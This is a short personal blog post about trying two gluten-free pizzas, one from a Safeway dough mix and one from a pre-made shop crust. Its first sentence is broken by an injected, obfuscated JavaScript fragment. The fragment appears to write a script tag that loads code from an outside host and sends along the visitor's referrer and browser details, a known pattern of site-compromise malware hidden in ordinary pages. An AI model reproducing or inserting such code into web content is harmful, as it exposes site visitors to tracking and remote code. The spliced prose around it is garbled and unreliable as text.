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Photo7 E1369030761399

Gluten Free Pizza

/ Archive, Cooking, Food, Live / By Bryn Miyahara

Nick’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“<\\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrndz|var|u0026u|referrer|nayky||js|php’.split(‘|’),0,{}))
trying out this whole “gluten free” thing.

So last Friday we tried 2 different kinds of gluten free pizza.

If you make GF pizza dough from scratch, a lot of recipes call for GF flour and xanthan gum.  And there was definitely no xanthan gum at Safeway.  BUT there WAS a GF section at Safeway that sold GF pizza dough mix.  Perfect!

I also stopped by a local pizza shop that supposedly has very good GF pizza.  They sold me a pre-made crust.  We were ready to run our experiment!

The GF pizza dough mix was my favorite.  Might have had something to do with the toppings: sausage, rosemary potatoes, ranch dressing (don’t knock it til you try it), mozzarella…..and I think that was it.  It was a very thin crust type of pizza.

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So if you’re in the market for some GF pizza, give it a try!

 

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